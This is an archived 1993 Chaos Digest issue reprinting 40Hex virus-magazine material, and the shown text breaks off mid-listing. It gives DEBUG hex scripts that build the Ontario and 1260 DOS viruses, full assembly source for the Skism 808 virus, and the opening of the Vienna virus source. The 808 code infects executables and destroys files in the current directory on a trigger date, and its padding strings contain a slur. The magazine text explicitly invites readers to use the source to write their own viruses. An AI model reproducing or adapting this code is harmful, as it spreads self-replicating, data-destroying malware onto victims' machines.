home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KAOS1_30.ZIP / KAOS1-30
Text File  |  1993-05-21  |  28KB  |  711 lines

  1. Chaos Digest           Mercredi 19 Mai 1993        Volume 1 : Numero 30
  2.                           ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.30 (19 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 2 #008-11(1) (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found on some French BBS.  Back issues of
  23. ChaosD can be found on the Internet as part of the Computer underground
  24. Digest archives.  They're accessible using anonymous FTP from:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  31.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  32.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  33.  
  34. CHAOS DIGEST is an open forum dedicated to sharing French information among
  35. computerists and to the presentation and debate of diverse views. ChaosD
  36. material may be reprinted for non-profit as long as the source is cited.
  37. Some authors do copyright their material, and they should be contacted for
  38. reprint permission.  Readers are encouraged to submit reasoned articles in
  39. French, English or German languages relating to computer culture and
  40. telecommunications.  Articles are preferred to short responses.  Please
  41. avoid quoting previous posts unless absolutely necessary.
  42.  
  43. DISCLAIMER: The views represented herein do not necessarily represent
  44.             the views of the moderators. Chaos Digest contributors
  45.             assume all responsibility for ensuring that articles
  46.             submitted do not violate copyright protections.
  47.  
  48. ----------------------------------------------------------------------
  49.  
  50. Date: Tue May 11 09:24:40 PDT 1993
  51. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  52. Subject: File 1--40H VMag Issue 1 Volume 2 #008-11(1) (reprint)
  53.  
  54.  
  55. 40Hex Volume 1 Issue 2                                                0008
  56.  
  57.                            The Ontario Virus
  58.  
  59.       Here a quick nice little virus from our boyz up north.
  60.  
  61.  V Status:    Rare
  62.  Discovered:  July, 1990
  63.  Symptoms:    .COM & .EXE growth; decrease in system and free memory;
  64.               hard disk errors in the case of extreme infections
  65.  Origin:      Ontario, Canada
  66.  Eff Length:  512 Bytes
  67.  Type Code:   PRtAK - Parasitic Encrypted Resident .COM & .EXE Infector
  68.  Detection Method:  ViruScan V66+, Pro-Scan 2.01+, NAV
  69.  Removal Instructions:  SCAN /D, or Delete infected files
  70.  General Comments:
  71.  
  72. The Ontario Virus was isolated by Mike Shields in Ontario, Canada
  73. in July, 1990.  The Ontario virus is a memory resident infector of
  74. .COM, .EXE, and overlay files.  It will infect COMMAND.COM.
  75.  
  76. The first time a program infected with the Ontario Virus is executed,
  77. it will install itself memory resident above the top of system memory
  78. but below the 640K DOS boundary.  Total system memory and free memory
  79. will be decreased by 2,048 bytes.  At this time, the virus will
  80. infect COMMAND.COM on the C: drive, increasing its length by 512 bytes.
  81.  
  82. Each time an uninfected program is executed on the system with the
  83. virus memory resident, the program will become infected with the viral
  84. code located at the end of the file.  For .COM files, they will
  85. increase by 512 bytes in all cases.  For .EXE and overlay files, the
  86. file length increase will be 512 - 1023 bytes.  The difference in
  87. length for .EXE and overlay files is because the virus will fill out
  88. the unused space at the end of the last sector of the uninfected file
  89. with random data (usually a portion of the directory) and then append
  90. itself to the end of the file at the next sector.  Systems using
  91. a sector size of more than 512 bytes may notice larger file increases
  92. for infected files.  Infected files will always have a file length
  93. that is a multiple of the sector size on the disk.
  94.  
  95. In the case of extreme infections of the Ontario Virus, hard disk
  96. errors may be noticed.
  97.  
  98. Ontario uses a complex encryption routine, and a simple identification
  99. string will not identify this virus.
  100.  
  101. ---------------------------------------------------------------------------
  102.  
  103. n ontario.com
  104. e 0100  E9 1D 00 1D 66 65 63 74 65 64 20 50 72 6F 67 72
  105. e 0110  61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
  106. e 0120  90 E8 E9 01 93 84 7B D9 F8 69 7C 3C 84 7B B6 A5
  107. e 0130  71 60 0F CB 65 B7 BB 0A A3 07 55 97 7F 86 BE 9A
  108. e 0140  FF 84 55 0D E5 84 79 AA F7 1A 79 86 F7 47 30 0A
  109. e 0150  A0 05 55 87 7B 04 7B 25 69 84 56 04 7B 27 69 84
  110. e 0160  F5 44 75 9B F0 71 48 7B C2 80 79 78 88 20 F5 5D
  111. e 0170  81 43 7D 00 7B FB 7B 27 FD 84 80 3C 84 CF B6 A5
  112. e 0180  64 9A 7C 8F 96 F0 77 09 CD FF 7B 3B 7B 85 2C 78
  113. e 0190  DE 21 B8 08 BB AA 7A 82 06 84 91 6F 6E CD 15 B9
  114. e 01A0  84 7B 0E 86 3B 4B FB 78 30 F1 6F B8 78 F0 6B B8
  115. e 01B0  84 F1 72 8A 64 3E A6 85 93 8D 7B 4B 93 81 7B AA
  116. e 01C0  84 AA 7B 86 7D 9A 29 D5 28 D4 C3 84 38 6C 5D 85
  117. e 01D0  09 9C 8D 45 7A F0 70 04 9A 7A C3 85 38 6C 6D 85
  118. e 01E0  09 8C C3 86 46 6C 75 85 08 87 92 86 7A 0F A3 8A
  119. e 01F0  64 3C 7B D3 93 7B 7B 0D 75 80 79 0D 6D 82 79 3E
  120. e 0200  73 86 C2 9F 7B 30 44 6C 97 84 09 CC FA BA 73 86
  121. e 0210  36 DE 0F BD DB 8D 79 BE 7D 8F 79 F0 4C B7 A9 B7
  122. e 0220  B2 3C 79 C6 93 4B 7B F6 50 B9 7B 64 0C A2 2B 25
  123. e 0230  73 86 D8 FF 7B 25 71 86 D8 F9 7B DC 56 87 7B 42
  124. e 0240  7D 8C 79 6D D8 8D 79 26 70 86 90 CD EB 07 45 98
  125. e 0250  79 85 0E 87 92 01 7B 25 77 86 C2 84 79 73 9A D4
  126. e 0260  29 35 7F 57 B1 57 93 87 B9 AF 7D 94 79 D4 DA 98
  127. e 0270  79 27 00 84 DA 9A 79 81 6B 84 D8 F9 7B DC D8 9A
  128. e 0280  79 43 7D 98 79 85 7B 7B 7D 88 79 DD 21 3C 7B C6
  129. e 0290  93 E7 7B F6 3C 04 4D 7C 7A 8C 48 44 F5 5C DB E8
  130. e 02A0  7F 8A 64 8A 7C 26 97 85 48 72 C4 A0 79 D3 C2 84
  131. e 02B0  79 78 88 20 C5 AC 79 6C 21 84 21 3D 7B 86 CF C4
  132. e 02C0  93 B7 7B F6 6C B7 B2 B7 A9 3C 7B C6 93 A3 7B F6
  133. e 02D0  70 3E 73 86 C2 9F 7B 30 3B 6C 61 84 F0 92 7D 86
  134. e 02E0  F0 8A 7F 86 C3 85 2C 6C 77 84 CF BA 93 83 7B DC
  135. e 02F0  20 DD 21 9B 7C 47 E7 AA 84 9A 7B 86 B8 C7 41 D8
  136. e 0300  38 CB 36 C9 3A CA 3F AA 38 CB 36 84 84 5E 56 2E
  137. e 0310  8A 84 E8 01 B9 E8 01 F6 D0 2E 30 04 46 E2 F8 C3
  138.  
  139. rcx
  140. 220
  141. w
  142. q
  143.  
  144. --------------------------------------------------------------------------
  145.                                                                         HR
  146.  
  147. +++++
  148.  
  149. 40Hex Volume 1 Issue 2                                                0009
  150.  
  151.                              The 1260 Virus
  152.  
  153.      Here's a nice little encrypting virus written in America.
  154.  
  155.  Aliases:     V2P1
  156.  V Status:    Research
  157.  Discovery:   January, 1990
  158.  Symptoms:    .COM file growth
  159.  Origin:      Minnesota, USA
  160.  Eff Length:  1,260 Bytes
  161.  Type Code:   PNC - Parasitic Encrypting Non-Resident .COM Infector
  162.  Detection Method:  ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
  163.               AVTK 3.5+, VirHunt 2.0+, NAV
  164.  Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+,
  165.               VirHunt 2.0+
  166.  General Comments:
  167.  
  168. The 1260 virus was first isolated in January, 1990.  This virus does not
  169. install itself resident in memory, but is it extremely virulent at infecting
  170. .COM files.  Infected files will have their length increased by 1,260 bytes,
  171. and the resulting file will be encrypted.  The encryption key changes with
  172. each infection which occurs.
  173.  
  174. The 1260 virus is derived from the original Vienna Virus, though it is highly
  175. modified.
  176.  
  177. This virus was developed as a research virus by Mark Washburn, who wished to
  178. show the anti-viral community why identification string scanners do not work
  179. in all cases.  The encryption used in 1260 is one of many possible cases of
  180. the encryption which may occur with Washburn's later research virus, V2P2.
  181.  
  182. -----------------------------------------------------------------------------
  183.  
  184. n 1260.com
  185. e 0100  E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
  186. e 0110  61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
  187. e 0120  90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
  188. e 0130  31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
  189. e 0140  4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
  190. e 0150  6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
  191. e 0160  65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
  192. e 0170  A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
  193. e 0180  3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
  194. e 0190  B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
  195. e 01A0  6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
  196. e 01B0  B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
  197. e 01C0  05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
  198. e 01D0  9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
  199. e 01E0  31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
  200. e 01F0  1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
  201. e 0200  F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
  202. e 0210  1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
  203. e 0220  C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
  204. e 0230  E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
  205. e 0240  8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
  206. e 0250  96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
  207. e 0260  C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
  208. e 0270  E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
  209. e 0280  40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
  210. e 0290  91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
  211. e 02A0  4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
  212. e 02B0  2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
  213. e 02C0  0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
  214. e 02D0  EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
  215. e 02E0  A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
  216. e 02F0  42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
  217. e 0300  7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
  218. e 0310  21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
  219. e 0320  94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
  220. e 0330  66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
  221. e 0340  C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
  222. e 0350  0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
  223. e 0360  8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
  224. e 0370  14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
  225. e 0380  07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
  226. e 0390  98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
  227. e 03A0  32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
  228. e 03B0  67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
  229. e 03C0  E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
  230. e 03D0  57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
  231. e 03E0  4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
  232. e 03F0  6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
  233. e 0400  06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
  234. e 0410  B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
  235. e 0420  46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
  236. e 0430  6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
  237. e 0440  0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
  238. e 0450  11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
  239. e 0460  8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
  240. e 0470  65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
  241. e 0480  05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
  242. e 0490  EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
  243. e 04A0  62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
  244. e 04B0  F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
  245. e 04C0  0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
  246. e 04D0  E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
  247. e 04E0  8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
  248. e 04F0  EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
  249. e 0500  35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
  250. e 0510  3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
  251. e 0520  86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
  252. e 0530  EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
  253. e 0540  0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
  254. e 0550  ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
  255. e 0560  24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
  256. e 0570  70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
  257. e 0580  8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
  258. e 0590  05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
  259. e 05A0  82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
  260. e 05B0  EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
  261. e 05C0  0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
  262. e 05D0  ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
  263. e 05E0  F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
  264. e 05F0  ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
  265. e 0600  A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
  266.  
  267. rcx
  268. 50C
  269. w
  270. q
  271.  
  272. --------------------------------------------------------------------------
  273.                                                                         HR
  274. +++++
  275.  
  276. 40Hex Volume 1 Issue 2                                                0010
  277.  
  278.                              The 808 Virus
  279.  
  280.      Here another virus from Skism.  It's a quick overwriting virus but
  281.      you can use the source code to write your own viruses.
  282.  
  283. --------------------------------------------------------------------------
  284.  
  285. ;The Skism 808 Virus.  Created 1991 by Smart Kids Into Sick Methods.
  286.  
  287. filename   EQU      30               ;used to find file name
  288. fileattr   EQU      21               ;used to find file attributes
  289. filedate   EQU      24               ;used to find file date
  290. filetime   EQU      22               ;used to find file time
  291.  
  292. code_start EQU      0100h            ;start of all .COM files
  293. virus_size EQU      808              ;TR 808
  294.  
  295. code     segment  'code'
  296. assume   cs:code,ds:code,es:code
  297.          org      code_start
  298.  
  299. main proc   near
  300.  
  301. jmp    virus_start
  302.  
  303. encrypt_val    db     00h
  304.  
  305. virus_start:
  306.  
  307.      call     encrypt                ;encrypt/decrypt file
  308.      jmp      virus                  ;go to start of code
  309.  
  310. encrypt:
  311.  
  312.      push     cx
  313.      mov      bx,offset virus_code   ;start encryption at data
  314.  
  315. xor_loop:
  316.  
  317.      mov      ch,[bx]                ;read current byte
  318.      xor      ch,encrypt_val         ;get encryption key
  319.      mov      [bx],ch                ;switch bytes
  320.      inc      bx                     ;move bx up a byte
  321.      cmp      bx,offset virus_code+virus_size
  322.                                      ;are we done with the encryption
  323.      jle      xor_loop               ;no?  keep going
  324.      pop      cx
  325.      ret
  326.  
  327. infectfile:
  328.  
  329.      mov     dx,code_start           ;where virus starts in memory
  330.      mov     bx,handle               ;load bx with handle
  331.      push    bx                      ;save handle on stack
  332.      call    encrypt                 ;encrypt file
  333.      pop     bx                      ;get back bx
  334.      mov     cx,virus_size           ;number of bytes to write
  335.      mov     ah,40h                  ;write to file
  336.      int     21h
  337.      push    bx
  338.      call    encrypt                 ;fix up the mess
  339.      pop     bx
  340.      ret
  341.  
  342. virus_code:
  343.  
  344. wildcards    db     "*",0            ;search for directory argument
  345. filespec     db     "*.EXE",0        ;search for EXE file argument
  346. filespec2    db     "*.*",0
  347. rootdir      db     "\",0            ;argument for root directory
  348. dirdata      db     43 dup (?)       ;holds directory DTA
  349. filedata     db     43 dup (?)       ;holds files DTA
  350. diskdtaseg   dw     ?                ;holds disk dta segment
  351. diskdtaofs   dw     ?                ;holds disk dta offset
  352. tempofs      dw     ?                ;holds offset
  353. tempseg      dw     ?                ;holds segment
  354. drivecode    db     ?                ;holds drive code
  355. currentdir   db     64 dup (?)       ;save current directory into this
  356. handle       dw     ?                ;holds file handle
  357. orig_time    dw     ?                ;holds file time
  358. orig_date    dw     ?                ;holds file date
  359. orig_attr    dw     ?                ;holds file attr
  360. idbuffer     dw     2 dup  (?)       ;holds virus id
  361.  
  362. virus:
  363.  
  364.       mov    ax,3000h                ;get dos version
  365.       int    21h
  366.       cmp    al,02h                  ;is it at least 2.00?
  367.       jb     bus1                    ;won't infect less than 2.00
  368.       mov    ah,2ch                  ;get time
  369.       int    21h
  370.       mov    encrypt_val,dl          ;save m_seconds to encrypt val so
  371.                                      ;theres 100 mutations possible
  372. setdta:
  373.  
  374.      mov     dx,offset dirdata       ;offset of where to hold new dta
  375.      mov     ah,1ah                  ;set dta address
  376.      int     21h
  377.  
  378. newdir:
  379.  
  380.      mov     ah,19h                  ;get drive code
  381.      int     21h
  382.      mov     dl,al                   ;save drivecode
  383.      inc     dl                      ;add one to dl, because functions differ
  384.      mov     ah,47h                  ;get current directory
  385.      mov     si, offset currentdir   ;buffer to save directory in
  386.      int     21h
  387.  
  388.      mov     dx,offset rootdir       ;move dx to change to root directory
  389.      mov     ah,3bh                  ;change directory to root
  390.      int     21h
  391.  
  392. scandirs:
  393.  
  394.      mov     cx,13h                  ;include hidden/ro directorys
  395.      mov     dx, offset wildcards    ;look for '*'
  396.      mov     ah,4eh                  ;find first file
  397.      int     21h
  398.      cmp     ax,12h                  ;no first file?
  399.      jne     dirloop                 ;no dirs found? bail out
  400.  
  401. bus1:
  402.  
  403.       jmp    bus
  404.  
  405. dirloop:
  406.  
  407.      mov     ah,4fh                  ;find next file
  408.      int     21h
  409.      cmp     ax,12h
  410.      je      bus                     ;no more dirs found, roll out
  411.  
  412. chdir:
  413.  
  414.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  415.      mov     ah,3bh                  ;change directory
  416.      int     21h                     ;
  417.  
  418.      mov     ah,2fh                  ;get current dta address
  419.      int     21h
  420.      mov     [diskdtaseg],es         ;save old segment
  421.      mov     [diskdtaofs],bx         ;save old offset
  422.      mov     dx,offset filedata      ;offset of where to hold new dta
  423.      mov     ah,1ah                  ;set dta address
  424.      int     21h
  425.  
  426. scandir:
  427.  
  428.      mov     cx,07h                  ;find any attribute
  429.      mov     dx,offset filespec      ;point dx to "*.COM",0
  430.      mov     ah,4eh                  ;find first file function
  431.      int     21h
  432.      cmp     ax,12h                  ;was file found?
  433.      jne     transform
  434.  
  435. nextexe:
  436.  
  437.      mov     ah,4fh                  ;find next file
  438.      int     21h
  439.      cmp     ax,12h                  ;none found
  440.      jne     transform               ;found see what we can do
  441.  
  442.      mov     dx,offset rootdir       ;move dx to change to root directory
  443.      mov     ah,3bh                  ;change directory to root
  444.      int     21h
  445.      mov     ah,1ah                  ;set dta address
  446.      mov     ds,[diskdtaseg]         ;restore old segment
  447.      mov     dx,[diskdtaofs]         ;restore old offset
  448.      int     21h
  449.      jmp     dirloop
  450.  
  451. bus:
  452.  
  453.      jmp     rollout
  454.  
  455. transform:
  456.  
  457.      mov     ah,2fh                  ;temporally store dta
  458.      int     21h
  459.      mov     [tempseg],es            ;save old segment
  460.      mov     [tempofs],bx            ;save old offset
  461.      mov     dx, offset filedata + filename
  462.  
  463.      mov     bx,offset filedata      ;save file...
  464.      mov     ax,[bx]+filedate        ;date
  465.      mov     orig_date,ax            ;
  466.      mov     ax,[bx]+filetime        ;time
  467.      mov     orig_time,ax            ;    and
  468.      mov     ax,[bx]+fileattr
  469.      mov     ax,4300h
  470.      int     21h
  471.      mov     orig_attr,cx
  472.      mov     ax,4301h                ;change attributes
  473.      xor     cx,cx                   ;clear attributes
  474.      int     21h
  475.      mov     ax,3d00h                ;open file - read
  476.      int     21h
  477.      jc      fixup                   ;error - find another file
  478.      mov     handle,ax               ;save handle
  479.      mov     ah,3fh                  ;read from file
  480.      mov     bx,handle               ;move handle to bx
  481.      mov     cx,02h                  ;read 2 bytes
  482.      mov     dx,offset idbuffer      ;save to buffer
  483.      int     21h
  484.  
  485.      mov     ah,3eh                  ;close file for now
  486.      mov     bx,handle               ;load bx with handle
  487.      int     21h
  488.  
  489.      mov     bx, idbuffer            ;fill bx with id string
  490.      cmp     bx,02ebh                ;infected?
  491.      jne     doit                    ;same - find another file
  492.  
  493. fixup:
  494.      mov     ah,1ah                  ;set dta address
  495.      mov     ds,[tempseg]            ;restore old segment
  496.      mov     dx,[tempofs]            ;restore old offset
  497.      int     21h
  498.      jmp     nextexe
  499.  
  500. doit:
  501.  
  502.      mov     dx, offset filedata + filename
  503.      mov     ax,3d02h                ;open file read/write access
  504.      int     21h
  505.      mov     handle,ax               ;save handle
  506.  
  507.      call    infectfile
  508.  
  509.      ;mov     ax,3eh                 ;close file
  510.      ;int     21h
  511.  
  512. rollout:
  513.  
  514.      mov     ax,5701h                ;restore original
  515.      mov     bx,handle
  516.      mov     cx,orig_time            ;time and
  517.      mov     dx,orig_date            ;date
  518.      int     21h
  519.  
  520.      mov     ax,4301h                ;restore original attributes
  521.      mov     cx,orig_attr
  522.      mov     dx,offset filedata + filename
  523.      int     21h
  524.      ;mov     bx,handle
  525.      ;mov     ax,3eh                 ;close file
  526.      ;int     21h
  527.      mov     ah,3bh                  ;try to fix this
  528.      mov     dx,offset rootdir       ;for speed
  529.      int     21h
  530.      mov     ah,3bh                  ;change directory
  531.      mov     dx,offset currentdir    ;back to original
  532.      int     21h
  533.      mov     ah,2ah                  ;check system date
  534.      int     21h
  535.      cmp     cx,1991                 ;is it at least 1991?
  536.      jb      audi                    ;no? don't do it now
  537.      cmp     dl,25                   ;is it the 25th?
  538.      jb      audi                    ;not yet? quit
  539.      cmp     al,5                    ;is Friday?
  540.      jne     audi                    ;no? quit
  541.      mov     dx,offset dirdata       ;offset of where to hold new dta
  542.      mov     ah,1ah                  ;set dta address
  543.      int     21h
  544.      mov     ah,4eh                  ;find first file
  545.      mov     cx,7h
  546.      mov     dx,offset filespec2     ;offset *.*
  547.  
  548. Loops:
  549.  
  550.      int     21h
  551.      jc      audi                    ;error? then quit
  552.      mov     ax,4301h                ;find all normal files
  553.      xor     cx,cx
  554.      int     21h
  555.      mov     dx,offset dirdata + filename
  556.      mov     ah,3ch                  ;fuck up all files in current dir
  557.      int     21h
  558.      jc      audi                    ;error? quit
  559.      mov     ah,4fh                  ;find next file
  560.      jmp     loops
  561.  
  562. audi:
  563.  
  564.      mov     ax,4c00h                ;end program
  565.      int     21h
  566.  
  567. ;The below is just text to pad out the virus size to 808 bytes.  Don't
  568. ;just change the text and claim that this is your creation.
  569.  
  570. words_   db   "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
  571. words2   db   "  Dont alter this code into your own strain, faggit.      ",0
  572. words3   db   "  HR/SSS NYCity, this is the fifth of many, many more....",0
  573. words4   db   "  You sissys.....",0
  574.  
  575. main     endp
  576. code     ends
  577.          end      main
  578.  
  579. +++++
  580.  
  581. 40Hex Volume 1 Issue 2                                                 0011
  582.  
  583.                       Vienna and Violator Viruses
  584.  
  585.     The Vienna virus, since it's source code was released, has become
  586.     one of the most common viruses ever.  Not only that but there are
  587.     over 20 known strains of this virus.  We at 40Hex want to add on to
  588.     the list by giving out the source for the orginal Vienna virus as
  589.     well as the Violator-B source by Rabid.
  590.  
  591. ---------------------------------------------------------------------------
  592.  
  593. MOV_CX  MACRO   X
  594.         DB      0B9H
  595.         DW      X
  596. ENDM
  597.  
  598. CODE    SEGMENT
  599.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  600.         ORG     $+0100H
  601.  
  602. ;***************************************************************************
  603. ;Start out with a JMP around the remains of the original .COM file, into the
  604. ;virus. The actual .COM file was just an INT 20, follow. by a bunch of NOPS.
  605. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  606. ;***************************************************************************
  607.  
  608. VCODE:  JMP     virus
  609.  
  610. ;This was the rest  of the original .COM file. Tiny and simple, this time
  611.  
  612.         NOP
  613.         NOP
  614.         NOP
  615.         NOP
  616.         NOP
  617.         NOP
  618.         NOP
  619.         NOP
  620.         NOP
  621.         NOP
  622.         NOP
  623.         NOP
  624.         NOP
  625.         NOP
  626.         NOP
  627.  
  628. ;************************************************************
  629. ;              The actual virus starts here
  630. ;************************************************************
  631.  
  632. v_start equ     $
  633.  
  634. virus:  PUSH    CX
  635.         MOV     DX,OFFSET vir_dat     ;This is where the virus data starts.
  636.                                       ; The 2nd and 3rd bytes get modified.
  637.         CLD                           ;Pointers will be auto INcremented
  638.         MOV     SI,DX                 ;Access data as offset from SI
  639.         ADD     SI,first_3            ;Point to original 1st 3 bytes of .COM
  640.         MOV     DI,OFFSET 100H        ;cause all .COM files start at 100H
  641.         MOV     CX,3
  642.         REPZ    MOVSB                 ;Restore original first 3 bytes of .COM
  643.         MOV     SI,DX                 ;Keep SI pointing to the data area
  644.  
  645. ;*************************************************************
  646. ;                   Check the DOS version
  647. ;*************************************************************
  648.  
  649.         MOV     AH,30H
  650.         INT     21H
  651.  
  652.         CMP     AL,0                  ;0 means it's version 1.X
  653.  
  654.         JNZ     dos_ok                ;For version 2.0 or greater
  655.         JMP     quit                  ;Don't try to infect version 1.X
  656.  
  657. ;*************************************************************
  658. ;  Here if the DOS version is high enough for this to work
  659. ;*************************************************************
  660.  
  661. dos_ok: PUSH    ES
  662.  
  663. ;*************************************************************
  664. ;               Get DTA address into ES:BX
  665. ;*************************************************************
  666.  
  667.         MOV     AH,2FH
  668.         INT     21H
  669.  
  670. ;*************************************************************
  671. ;                    Save the DTA address
  672. ;*************************************************************
  673.  
  674.         MOV     [SI+old_dta],BX
  675.         MOV     [SI+old_dts],ES       ;Save the DTA address
  676.  
  677.         POP     ES
  678.  
  679. ;*************************************************************
  680. ;        Set DTA to point inside the virus data area
  681. ;*************************************************************
  682.  
  683.         MOV     DX,dta                ;Offset of new DTA in virus data area
  684. ;       NOP                           ;MASM will add this NOP here
  685.         ADD     DX,SI                 ;Compute DTA address
  686.         MOV     AH,1AH
  687.         INT     21H                   ;Set new DTA to inside our own code
  688.  
  689.         PUSH    ES
  690.         PUSH    SI
  691.         MOV     ES,DS:2CH
